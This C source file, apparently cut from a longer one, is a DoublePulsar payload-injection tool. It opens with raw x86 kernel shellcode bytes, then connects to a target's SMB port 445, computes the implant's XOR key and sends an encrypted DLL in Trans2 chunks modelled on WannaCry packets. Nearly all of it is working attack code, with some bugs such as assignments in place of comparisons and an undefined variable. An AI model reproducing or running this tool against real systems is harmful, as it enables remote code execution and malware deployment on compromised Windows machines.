  "\xF8\x01\xCC\x5B\x5A\x58\x89\xE5\x89\xE7"
  "\x29\xCF\x89\xFC\xF3\xA4\x89\x23\x8B\x4B"
  "\xFC\x8B\x53\xF8\xC7\x43\xFC\x00\x00\x00"
  "\x00\xC7\x43\xF8\x00\x00\x00\x00\xC7\x04"
  "\x24\xFF\xFF\xFF\xFF\xBE\xEE\xEE\xEE\xEE"
  "\xFF\xE0\x59\x59\x5D\x5D\x5B\x5E\x5F\xFF"
  "\xE0\x5B\x89\xE1\x2B\x4D\x08\x83\xE9\x04"
  "\x89\xEC\x83\xC4\x20\x01\xCC\x8B\x5D\x10"
  "\x8B\x75\x14\x8B\x7D\x18\x8B\x4D\x1C\x8B"
  "\x6D\x0C\xFF\xE1\x00\x00\x00\x00\x57\x52"
  "\x53\x51\xB8\x08\x00\x00\x00\xBA\x0C\x00"
  "\x00\x00\xF7\xE2\x8B\x55\x0C\x01\xC2\x83"
  "\xC2\x04\x8B\x1A\xC1\xEB\x02\xB8\x0A\x00"
  "\x00\x00\xF7\xE3\x89\x45\x34\x6A\x40\x68"
  "\x00\x30\x00\x00\x50\x6A\x00\xFF\x56\x08"
  "\x85\xC0\x74\x4B\x89\x45\x30\x8B\x46\x20"
  "\x8B\x7D\x65\x83\xC7\x03\x89\x07\x8B\x46"
  "\x28\xA9\x02\x00\x00\x00\x74\x18\x8B\x45"
  "\x6D\x8B\x5D\x71\x89\x03\x8B\x5E\x24\x8B"
  "\x7D\x71\x29\xDF\x8B\x5D\x69\x43\x89\x3B"
  "\xEB\x09\x8B\x45\x6D\x8B\x7D\x69\x47\x89"
  "\x07\x8B\x46\x28\xA9\x01\x00\x00\x00\x74"
  "\x0E\x8B\x7D\x69\xC6\x07\xBF\xEB\x06\x31"
  "\xC0\xF7\xD0\xEB\x02\x31\xC0\x59\x5B\x5A"
  "\x5F\xC3\x57\x52\x53\x51\x56\x50\x8B\x7D"
  "\x30\x8B\x45\x38\x01\xC7\x89\xEE\x83\xC6"
  "\x3C\xB9\x0A\x00\x00\x00\xF3\xA4\x8B\x7D"
  "\x30\x8B\x45\x38\x01\xC7\x83\xC7\x00\x47"
  "\x8B\x55\x20\x8B\x1A\x89\x1F\x8B\x75\x75"
  "\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x83\xC7"
  "\x05\x47\x83\xC7\x04\x29\xFE\x8B\x7D\x30"
  "\x8B\x45\x38\x01\xC7\x83\xC7\x05\x47\x89"
  "\x37\x8B\x7D\x30\x8B\x45\x38\x01\xC7\x8B"
  "\x75\x20\x89\x3E\x8B\x45\x38\x83\xC0\x0A"
  "\x89\x45\x38\x58\x5E\x59\x5B\x5A\x5F\xC3"
  "\x57\x52\x53\x51\x56\x8B\x7D\x00\x89\xDA"
  "\x83\xC2\x0C\x03\x3A\x89\xE9\x83\xC1\x46"
  "\x57\x51\xFF\x56\x18\x85\xC0\x74\x12\x89"
  "\xE9\x83\xC1\x51\x57\x51\xFF\x56\x18\x85"
  "\xC0\x74\x04\x31\xC0\xEB\x07\xB8\x01\x00"
  "\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3"
  "\x57\x52\x53\x51\x56\x8B\x7D\x24\x89\xFA"
  "\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D"
  "\x5A\x75\x65\x89\xFA\x83\xC2\x3C\x8B\x1A"
  "\x01\xDF\x89\xFA\x83\xC2\x00\x8B\x1A\x81"
  "\xFB\x50\x45\x00\x00\x75\x4D\x89\xFE\x83"
  "\xC6\x14\x31\xDB\x66\x8B\x1E\x89\xFE\x83"
  "\xC6\x18\x01\xDE\x89\xFB\x83\xC3\x06\x31"
  "\xC9\x66\x8B\x0B\x31\xD2\x89\xF3\x83\xC3"
  "\x0C\x8B\x7D\x24\x03\x3B\x39\xF8\x7C\x1A"
  "\x89\xF3\x83\xC3\x08\x03\x3B\x39\xF8\x7D"
  "\x0F\x89\xF3\x83\xC3\x24\x8B\x1B\xF7\xC3"
  "\x00\x00\x00\x20\x75\x0C\x83\xC6\x28\x42"
  "\x39\xCA\x7C\xD0\x31\xC0\xEB\x07\xB8\x01"
  "\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F"
  "\xC3\xEB\x18\x6A\x0B\xEB\x16\x6A\x0C\xEB"
  "\x12\x6A\x0D\xEB\x0E\x6A\x0E\xEB\x0A\x6A"
  "\x0F\xEB\x06\x6A\x10\xEB\x02\xEB\x76\x58"
  "\x8B\x04\x86\x56\x57\x53\x55\x89\xF3\x89"
  "\xE6\x83\xC6\x14\xB9\x40\x00\x00\x00\x29"
  "\xCC\x89\xE7\xF3\xA4\x89\xE5\xE8\x00\x00"
  "\x00\x00\x5F\x89\xDE\x8B\x5E\x28\x50\x8D"
  "\x47\x3C\xF7\xC3\x10\x00\x00\x00\x75\x01"
  "\x40\xF7\xC3\x02\x00\x00\x00\x75\x04\x89"
  "\xC7\xEB\x0A\x8D\x7F\x51\x89\x07\x8B\x46"
  "\x24\x29\xC7\x58\xF7\xC3\x01\x00\x00\x00"
  "\x8B\x5E\x20\x53\x74\x02\xEB\x02\x89\xFE"
  "\xFF\xE0\x5B\x8B\x5D\x44\x8B\x7D\x48\x8B"
  "\x75\x4C\x8B\x4D\x50\x8B\x6D\x40\x83\xC4"
  "\x54\xFF\xE1\x00\x00\x00\x00\xE9\x52\x01"
  "\x00\x00\x55\x89\xE5\x53\x56\x51\x8B\x4D"
  "\x10\x0F\xB6\x01\x85\xC0\x74\x2C\x8B\x75"
  "\x08\x85\xF6\x8B\x75\x0C\x74\x02\x29\xC6"
  "\x0F\xB6\x06\x3C\xFF\x75\x14\x0F\xB6\x59"
  "\x01\x46\x0F\xB6\x06\x39\xD8\x72\x08\x0F"
  "\xB6\x59\x02\x39\xD8\x76\x09\x8D\x49\x03"
  "\xEB\xCD\x31\xC0\xEB\x03\x31\xC0\x40\x59"
  "\x5E\x5B\x89\xEC\x5D\xC2\x0C\x00\x8D\x85"
  "\x44\xFE\xFF\xFF\x50\x57\x31\xC0\x50\xE8"
  "\xA4\xFF\xFF\xFF\x85\xC0\x74\x49\x51\x8B"
  "\x4C\x24\x08\x31\xC0\x89\x41\x04\x0F\xB6"
  "\x47\x01\x24\x01\x89\xC1\x0F\xB6\x47\x01"
  "\x24\x10\x09\xC1\x0F\xB6\x47\x01\x3C\xD0"
  "\x77\x1D\x80\xC9\x02\x3C\x30\x72\x16\x51"
  "\x3C\x70\x72\x05\x8B\x4F\x02\xEB\x04\x0F"
  "\xBE\x4F\x02\x8B\x44\x24\x0C\x89\x48\x04"
  "\x59\x8B\x44\x24\x08\x89\x08\x59\x31\xC0"
  "\x40\xC2\x04\x00\x02\x26\x27\x03\x66\x67"
  "\x06\xA6\xA7\x02\xE6\xE7\x02\x16\x17\x03"
  "\x56\x57\x06\x96\x97\x02\xD6\xD7\x00\x8D"
  "\x85\xA6\xFE\xFF\xFF\x50\x57\x31\xC0\x40"
  "\x50\xE8\x2A\xFF\xFF\xFF\x85\xC0\x74\x07"
  "\xB8\x02\x00\x00\x00\xEB\x2C\x8D\x85\xC2"
  "\xFE\xFF\xFF\x50\x57\x31\xC0\x40\x50\xE8"
  "\x0E\xFF\xFF\xFF\x85\xC0\x74\x07\xB8\x01"
  "\x00\x00\x00\xEB\x10\x8D\x47\xFB\x8A\x00"
  "\x3C\xE8\xB8\x01\x00\x00\x00\x74\x02\x31"
  "\xC0\xC3\x02\x10\x13\x03\x14\x14\x02\x16"
  "\x17\x03\x50\x53\x04\x54\x54\x03\x55\x57"
  "\x06\x90\x93\x06\x95\x97\x02\xD0\xD7\x00"
  "\x06\x15\x15\x02\x18\x1B\x03\x1C\x1C\x06"
  "\x1D\x1D\x02\x1E\x1F\x03\x58\x5B\x04\x5C"
  "\x5C\x03\x5D\x5F\x07\x94\x94\x06\x98\x9B"
  "\x07\x9C\x9C\x06\x9D\x9F\x02\xD8\xDF\x00"
  "\xE9\xCF\x00\x00\x00\x5E\xE9\xC9\x00\x00"
  "\x00\x31\xC0\x60\xB0\x18\x64\x8B\x18\x8B"
  "\x5B\x30\x8B\x5B\x0C\x8B\x5B\x14\x8B\x73"
  "\x28\x8B\x6B\x10\x85\xED\x0F\x84\x82\x00"
  "\x00\x00\x31\xD2\xC1\xC2\x05\x66\xAD\x0C"
  "\x20\x30\xC2\x66\x83\x3E\x00\x75\xF1\x8B"
  "\x1B\x3B\x54\x24\x24\x75\xD9\x8B\x44\x24"
  "\x28\x85\xC0\x75\x04\x89\xE8\xEB\x59\x8B"
  "\x7D\x3C\x01\xEF\x8B\x7F\x78\x01\xEF\x39"
  "\xEF\x74\x4F\x8B\x4F\x18\x85\xC9\x74\x48"
  "\x8B\x57\x1C\x01\xEA\x8B\x5F\x20\x01\xEB"
  "\x8B\x7F\x24\x01\xEF\x89\x54\x24\x24\x8B"
  "\x33\x01\xEE\x31\xD2\xC1\xC2\x05\xAC\x0C"
  "\x20\x30\xC2\x80\x3E\x00\x75\xF3\x3B\x54"
  "\x24\x28\x74\x0A\x83\xC7\x02\x83\xC3\x04"
  "\xE2\xDF\xEB\x12\x0F\xB7\x17\xC1\xE2\x02"
  "\x03\x54\x24\x24\x8B\x02\x01\xE8\x89\x44"
  "\x24\x1C\x61\xC2\x08\x00\x06\xDF\xB0\x2C"
  "\x51\x33\x8A\x8D\xA4\x00\x78\x95\x27\x85"
  "\x00\x3B\x00\xA1\xB4\x00\xDB\xB6\xB6\xE5"
  "\x00\xC4\x22\x07\xE2\x00\x82\x5A\x15\x4A"
  "\x00\x00\x31\xC0\x8B\x4E\x04\x64\x89\x08"
  "\xEB\x04\x8B\x64\x24\x08\x83\xC4\x10\x5D"
  "\x5E\x31\xC0\x64\x8F\x00\x8B\x26\x89\x44"
  "\x24\x1C\x31\xC0\x8D\x4D\x00\x8D\x5D\xFB"
  "\x29\xD9\x89\xDF\xF3\xAA\x8D\x4D\xF7\x8D"
  "\x9D\x9C\xF2\xFF\xFF\x29\xD9\x89\xDF\xF3"
  "\xAA\x61\xC3\xE8\xA9\xF2\xFF\xFF\xEB\x09"
  "\x90\x00\x70\x00\x00\x01\x00\x00\x00";

unsigned int LE2INT(unsigned char* data)
{
	unsigned int b;
	b = data[3];
	b <<= 8;
	b += data[2];
	b <<= 8;
	b += data[1];
	b <<= 8;
	b += data[0];
	return b;
}

unsigned int ComputeDOUBLEPULSARXorKey(unsigned int sig)
{
	return 2 * sig ^ ((((sig >> 16) | sig & 0xFF0000) >> 8) |
		(((sig << 16) | sig & 0xFF00) << 8));
}

void convert_name(char* out, char* name)
{
	unsigned long len;
	len = strlen(name);
	out += len * 2 - 1;
	while (len--) {
		*out-- = '\x00';
		*out-- = name[len];
	}
}

void hexDump(char* desc, void* addr, int len)
{
	int i;
	unsigned char buff[17];
	unsigned char* pc = (unsigned char*)addr;

	// Output description if given.
	if (desc != NULL)
		printf("%s:\n", desc);

	// Process every byte in the data.
	for (i = 0; i < len; i++) {
		// Multiple of 16 means new line (with line offset).

		if ((i % 16) == 0) {
			// Just don't print ASCII for the zeroth line.
			if (i != 0)
				printf("  %s\n", buff);

			// Output the offset.
			printf("  %04x ", i);
		}

		// Now the hex code for the specific character.
		printf(" %02x", pc[i]);

		// And store a printable ASCII character for later.
		if ((pc[i] < 0x20) || (pc[i] > 0x7e)) {
			buff[i % 16] = '.';
		}
		else {
			buff[i % 16] = pc[i];
		}

		buff[(i % 16) + 1] = '\0';
	}

	// Pad out last line if not exactly 16 characters.
	while ((i % 16) != 0) {
		printf("   ");
		i++;
	}

	// And print the final ASCII bit.
	printf("  %s\n", buff);
}

unsigned char recvbuff[2048];
int main(int argc, char* argv[])
{
	WSADATA    ws;
	struct sockaddr_in server;
	SOCKET    sock;
	DWORD    ret;
	WORD    userid, treeid, processid, multiplexid;

	WSAStartup(MAKEWORD(2, 2), &ws);
	sock = socket(AF_INET, SOCK_STREAM, 0);
	if (sock <= 0)
	{
		return 0;
	}
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = inet_addr(argv[1]);
	server.sin_port = htons((USHORT)445);
	ret = connect(sock, (struct sockaddr*)&server, sizeof(server));

	//send SMB negociate packet
	send(sock, (char*)SmbNegociate, sizeof(SmbNegociate) - 1, 0);
	recv(sock, (char*)recvbuff, sizeof(recvbuff), 0);

	//send Session Setup AndX request
	printf("sending Session_Setup_AndX_Request!\n");
	ret = send(sock, (char*)Session_Setup_AndX_Request, sizeof(Session_Setup_AndX_Request) - 1, 0);
	recv(sock, (char*)recvbuff, sizeof(recvbuff), 0);

	//copy our returned userID value from the previous packet to the TreeConnect request packet
	userid = *(WORD*)(recvbuff + 0x20);
	
	//output windows version to the screen
	printf("Remote OS: ");
	int r;
	for (r = 0; r < 39; r++) {
		printf("%c", recvbuff[44 + r]);
	}
	printf("\n");

	//Generates a new TreeConnect request with the correct IP address
	//rather than the hard coded one embedded in the TreeConnect string
	unsigned char packet[4096];
	unsigned char* ptr;
	unsigned char tmp[1024];
	unsigned short smblen;
	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX) - 1);
	ptr += sizeof(SMB_TreeConnectAndX) - 1;
	sprintf((char*)tmp, "\\\\%s\\IPC$", argv[1]);
	convert_name((char*)ptr, (char*)tmp);
	smblen = strlen((char*)tmp) * 2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX) - 1 - 3, &smblen, 1);
	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_) - 1);
	ptr += sizeof(SMB_TreeConnectAndX_) - 1;
	smblen = ptr - packet;
	smblen -= 4;
	memcpy(packet + 3, &smblen, 1);

	//update UserID in modified TreeConnect Request
	memcpy(packet + 0x20, (unsigned char*)&userid, 2); //update userid in packet

	//send modified TreeConnect request
	send(sock, (char*)packet, ptr - packet, 0);
	recv(sock, (char*)recvbuff, sizeof(recvbuff), 0);

	//copy the treeID from the TreeConnect response
	treeid = *(WORD*)(recvbuff + 0x1c);       //get treeid

	//Update treeID, UserID
	memcpy(trans2_request + 28, (unsigned char*)&treeid, 2);
	memcpy(trans2_request + 32, (unsigned char*)&userid, 2);
	//might need to update processid

	//if DoublePulsar is enabled, the multiplex ID is incremented by 10
	//will return x51 or 81
	send(sock, (char*)trans2_request, sizeof(trans2_request) - 1, 0);
	recv(sock, (char*)recvbuff, sizeof(recvbuff), 0);

	unsigned char signature[6];
	unsigned int sig;
	//copy SMB signature from recvbuff to local buffer
	signature[0] = recvbuff[18];
	signature[1] = recvbuff[19];
	signature[2] = recvbuff[20];
	signature[3] = recvbuff[21];
	signature[4] = recvbuff[22];
	signature[5] = '\0';
	//this is for determining architecture
	//recvbuff[22];
	//but unused at this time

	//convert the signature buffer to unsigned integer 
	//memcpy((unsigned int*)&sig, (unsigned int*)&signature, sizeof(unsigned int));
	sig = LE2INT(signature);

	//calculate the XOR key for DoublePulsar
	unsigned int XorKey = ComputeDOUBLEPULSARXorKey(sig);
	printf("Calculated XOR KEY:  0x%x\n", XorKey);

	//choose your DLL  here
	char filename[MAX_PATH] = "D:\\STRIKE\\artifact.dll";
	printf("Loading file: %s\n", filename);
	DWORD	dwFileSizeLow = NULL;
	DWORD	dwFileSizeHigh = NULL;
	DWORD	dwOffset = NULL;
	DWORD	dwDummy = -1;
	HANDLE hFile = CreateFileA(
		filename,
		GENERIC_READ,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);

	dwFileSizeLow = GetFileSize(hFile, &dwFileSizeHigh);
	printf("> File Size: %d bytes\n", dwFileSizeLow);

	//alloc memory the size of of the DLL
	PBYTE pExeBuffer = new BYTE[dwFileSizeLow];

	while (dwDummy)
	{
		ReadFile(hFile, pExeBuffer + dwOffset, 512, &dwDummy, NULL);
		dwOffset += dwDummy;
		//printf("> Read %d bytes - Offset = %d\n", dwDummy, dwOffset);
	}

	CloseHandle(hFile);

	printf("patching DLL + x86 Userland shellcode size in Kernel shellcode...\n");
	//printf("BEFORE:  ");
	//hexDump(NULL, (char*)&x86_kernel_rundll_shellcode[1425], 4);
	*(DWORD*)&x86_kernel_rundll_shellcode[1425] = dwFileSizeLow + 3440;
	//printf("AFTER:  ");
	//hexDump(NULL, (char*)&x86_kernel_rundll_shellcode[1425], 4);

	printf("patching DLL size...\n");
	//printf("BEFORE:  ");
	//hexDump(NULL, (char*)&x86_kernel_rundll_shellcode[4861], 4);
	*(DWORD*)&x86_kernel_rundll_shellcode[4861] = dwFileSizeLow;
	//printf("AFTER:  ");
	//hexDump(NULL, (char*)&x86_kernel_rundll_shellcode[4861], 4);
	printf("patching DLL ordinal...\n");
	//printf("BEFORE:  ");
	//hexDump(NULL, (char*)&x86_kernel_rundll_shellcode[4865], 4);
	*(DWORD*)&x86_kernel_rundll_shellcode[4865] = 1;
	//printf("AFTER:  ");
	//hexDump(NULL, (char*)&x86_kernel_rundll_shellcode[4865], 4);

	int kernel_shellcode_size = sizeof(x86_kernel_rundll_shellcode) / sizeof(x86_kernel_rundll_shellcode[0]);
	kernel_shellcode_size -= 1;
	printf("Kernel shellcode size:  %d\n", kernel_shellcode_size);
	int payload_totalsize = kernel_shellcode_size + dwFileSizeLow;
	PBYTE pFULLBUFFER = new BYTE[payload_totalsize];

	int numberofpackets = payload_totalsize / 4096;
	int remainder = payload_totalsize % 4096;
	printf("will send %d packets\n ", numberofpackets);
	printf("%d as a remainder\n", remainder);

	memcpy(pFULLBUFFER, x86_kernel_rundll_shellcode, 4869);
	memcpy(pFULLBUFFER + 4869, pExeBuffer, dwFileSizeLow);

	//unsigned int XorKey = 0x58581162;
	unsigned char byte_xor_key[4];
	byte_xor_key[0] = (unsigned char)XorKey;
	byte_xor_key[1] = (unsigned char)(((unsigned int)XorKey >> 8) & 0xFF);
	byte_xor_key[2] = (unsigned char)(((unsigned int)XorKey >> 16) & 0xFF);
	byte_xor_key[3] = (unsigned char)(((unsigned int)XorKey >> 24) & 0xFF);
	int i;

	for (i = 0; i < payload_totalsize; i++)
	{
		pFULLBUFFER[i] ^= byte_xor_key[i % 4];
	}

	unsigned char Parametersbuffer[13];
	unsigned int bytesLeft = payload_totalsize;

	//for doublepulsar parameters
	unsigned int TotalSizeOfPayload = payload_totalsize; 
	unsigned int ChunkSize = 4096;
	unsigned int OffsetofChunkinPayload = 0x0000;
	int ctx;

	//unsigned short smblen;
	unsigned short smb_htons_len;

	unsigned short TotalDataCount = 4096;
	unsigned short DataCount = 4096;
	unsigned short byteCount = 4096 + 12;

	//unsigned char SMBDATA[4096];
	//memset(SMBDATA, 0x00, 4096);
	unsigned char* big_packet = (unsigned char*)malloc(4096 + 12 + 70);
	int size_normal_packet = 4096 + 12 + 70;

	unsigned char* last_packet = (unsigned char*)malloc(remainder + 12 + 70);
	int size_last_packet = iterations + 12 + 70;

	for (ctx = 0; ctx < payload_totalsize;)
	{
		memset((unsigned char*)big_packet, 0x00, 4096 + 12 + 70);
		if (bytesLeft < 4096)
		{
			printf("Bytes left(%d) is less than 4096!...This will be the last & smaller packet!\n", bytesLeft);
			smblen = bytesLeft + 70 + 12 - 4;
			printf("Last packet size = %d\n", smblen);
			smb_htons_len = htons(smblen);
			
			memset(Parametersbuffer, 0x00, 12);
			memcpy((unsigned char*)Parametersbuffer, (unsigned char*)&TotalSizeOfPayload, 4);
			memcpy((unsigned char*)Parametersbuffer + 4, (unsigned char*)&bytesLeft, 4);
			memcpy((unsigned char*)Parametersbuffer + 8, (unsigned char*)&OffsetofChunkinPayload, 4);

			for (i = 0; i < 13; i++)
			{
				Parametersbuffer[i] ^= byte_xor_key[i % 4];
			}

			hexDump(NULL, Parametersbuffer, 12);


			//copy wannacry skeleton packet to big Trans2 packet
			memcpy((unsigned char*)last_packet, (unsigned char*)wannacry_Trans2_Request, 70);

			//update size
			memcpy(last_packet + 2, &smb_htons_len, 2);
			//hexDump(NULL, (char*)last_packet, 4);

			TotalDataCount = bytesLeft;
			DataCount = bytesLeft;
			byteCount = bytesLeft + 12;

			*(WORD*)(last_packet + 0x27) = TotalDataCount;
			*(WORD*)(last_packet + 0x3b) = DataCount;
			*(WORD*)(last_packet + 0x43) = byteCount;

			memcpy((unsigned char*)last_packet + 0x27, (unsigned char*)&TotalDataCount, 2);
			memcpy((unsigned char*)last_packet + 0x3b, (unsigned char*)&DataCount, 2);
			memcpy((unsigned char*)last_packet + 0x43, (unsigned char*)&byteCount, 2);

			//Update treeID, UserID
			memcpy((unsigned char*)last_packet + 28, (unsigned char*)&treeid, 2);
			memcpy((unsigned char*)last_packet + 32, (unsigned char*)&userid, 2);

			//copy parameters to big packet at offset 70 ( after the trans2 exec packet )
			memcpy((unsigned char*)last_packet + 70, (unsigned char*)Parametersbuffer, 12);

			//copy encrypted payload
			memcpy((unsigned char*)last_packet + 82, (unsigned char*)pFULLBUFFER + ctx, bytesLeft);

			//send the payload
			send(sock, (char*)last_packet, size_last_packet, 0);
			recv(sock, (char*)recvbuff, sizeof(recvbuff), 0);

			//DoublePulsar response: STATUS_NOT_IMPLEMENTED
			if (recvbuff[9] == 0x02 && recvbuff[10] == 0x00 && recvbuff[11] == 0x00 && recvbuff[12] == 0xc0)
			{
				printf("All data sent and got good response from DoublePulsar!\n");
			}

			if (recvbuff[34] = 0x52)
			{
				printf("Doublepulsar returned: Success!\n");
			}
			
			else if (recvbuff[34] = 0x62)
			{
				printf("Doublepulsar returned: Invalid parameters!\n");
			}
			
			else if (recvbuff[34] = 0x72)
			{
				printf("Doublepulsar returned: Allocation failure!\n");
			}
				
			else {
				printf("Doublepulsar didn't work!\n");
			}

			break;
		}


		memset(Parametersbuffer, 0x00, 12);
		memcpy((unsigned char*)Parametersbuffer, (unsigned char*)&TotalSizeOfPayload, 4);
		memcpy((unsigned char*)Parametersbuffer + 4, (unsigned char*)&ChunkSize, 4);
		memcpy((unsigned char*)Parametersbuffer + 8, (unsigned char*)&OffsetofChunkinPayload, 4);

		for (i = 0; i < 13; i++)
		{
			Parametersbuffer[i] ^= byte_xor_key[i % 4];
		}

		hexDump(NULL, Parametersbuffer, 12);

		//copy wannacry skeleton packet to big Trans2 packet
		memcpy((unsigned char*)big_packet, (unsigned char*)wannacry_Trans2_Request, 70);

		//copy parameters to big packet at offset 70 ( after the trans2 exec packet )
		memcpy((unsigned char*)big_packet + 70, (unsigned char*)Parametersbuffer, 12);

		//copy encrypted payload
		memcpy((unsigned char*)big_packet + 82, (unsigned char*)pFULLBUFFER + ctx, ChunkSize);

		//Update treeID, UserID
		memcpy((unsigned char*)big_packet + 28, (unsigned char*)&treeid, 2);
		memcpy((unsigned char*)big_packet + 32, (unsigned char*)&userid, 2);

		//send the payload
		send(sock, (char*)big_packet, size_normal_packet, 0);
		recv(sock, (char*)recvbuff, sizeof(recvbuff), 0);

		//DoublePulsar response: STATUS_NOT_IMPLEMENTED
		if (recvbuff[9] == 0x02 && recvbuff[10] == 0x00 && recvbuff[11] == 0x00 && recvbuff[12] == 0xc0)
		{
			printf("All data sent and got good response from DoublePulsar!\n");
		}

		if (recvbuff[34] = 0x52)
		{
			printf("Doublepulsar returned: Success!\n");
		}
			
		else if (recvbuff[34] = 0x62)
		{
			printf("Doublepulsar returned: Invalid parameters!\n");
		}
			
		else if (recvbuff[34] = 0x72)
		{
			printf("Doublepulsar returned: Allocation failure!\n");
		}
			
		else {
			printf("Doublepulsar didn't work!\n");
		}

		bytesLeft -= 4096;
		ctx += 4096;
		OffsetofChunkinPayload += 4096;
	}

	delete pExeBuffer;
	delete pFULLBUFFER;
	free(big_packet);
	free(last_packet);

	printf("Disconnecting!\n");

	unsigned char disconnect_packet[] =
		"\x00\x00\x00\x23\xff\x53\x4d\x42"
		"\x71\x00\x00\x00\x00\x18\x07\xc0"
		"\x00\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x08\xff\xfe"
		"\x00\x08\x41\x00\x00\x00\x00";

	//Update treeID, UserID
	memcpy((unsigned char*)disconnect_packet + 28, (unsigned char*)&treeid, 2);
	memcpy((unsigned char*)disconnect_packet + 32, (unsigned char*)&userid, 2);

	//send the disconnect packet
	send(sock, (char*)disconnect_packet, sizeof(disconnect_packet) - 1, 0);
	recv(sock, (char*)recvbuff, sizeof(recvbuff), 0);


	unsigned char logoff_packet[] =
		"\x00\x00\x00\x27\xff\x53\x4d\x42\x74\x00\x00"
		"\x00\x00\x18\x07\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff"
		"\xfe\x00\x08\x41\x00\x02\xff\x00\x27\x00\x00\x00";

	//Update treeID, UserID
	memcpy((unsigned char*)logoff_packet + 28, (unsigned char*)&treeid, 2);
	memcpy((unsigned char*)logoff_packet + 32, (unsigned char*)&userid, 2);

	//send the logoff packet
	send(sock, (char*)logoff_packet, sizeof(logoff_packet) - 1, 0);
	recv(sock, (char*)recvbuff, sizeof(recvbuff), 0);

	closesocket(sock);
	WSACleanup();

	return 0;
}